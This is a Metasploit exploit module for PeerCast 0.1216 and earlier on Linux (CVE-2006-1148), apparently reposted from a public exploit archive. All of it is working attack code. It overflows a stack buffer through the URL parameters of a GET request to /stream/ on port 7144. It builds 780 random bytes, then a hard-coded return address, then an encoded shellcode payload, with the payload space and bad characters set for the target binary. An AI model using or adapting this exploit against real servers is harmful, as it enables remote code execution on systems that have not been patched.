PeerCast 0.1216 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',  
'Description' => %q{  
This module exploits a stack overflow in PeerCast <= v0.1216.   
The vulnerability is caused due to a boundary error within the  
handling of URL parameters.  
  
},  
'Author' => [ 'MC' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2006-1148'],  
['OSVDB', '23777'],  
['BID', '17040'],  
['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 200,  
'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",  
'MinNops' => 64,  
},  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
'Targets' =>   
[  
['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],  
],  
'DisclosureDate' => 'Mar 8 2006'))  
  
register_options( [ Opt::RPORT(7144) ], self.class )  
end  
  
def exploit  
connect  
  
pat = rand_text_alphanumeric(780)  
pat << [target.ret].pack('V')  
pat << payload.encoded  
  
uri = '/stream/?' + pat  
  
res = "GET #{uri} HTTP/1.0\r\n\r\n"  
  
print_status("Trying target address 0x%.8x..." % target.ret)  
sock.put(res)  
  
handler  
disconnect  
end  
  
end  
  
`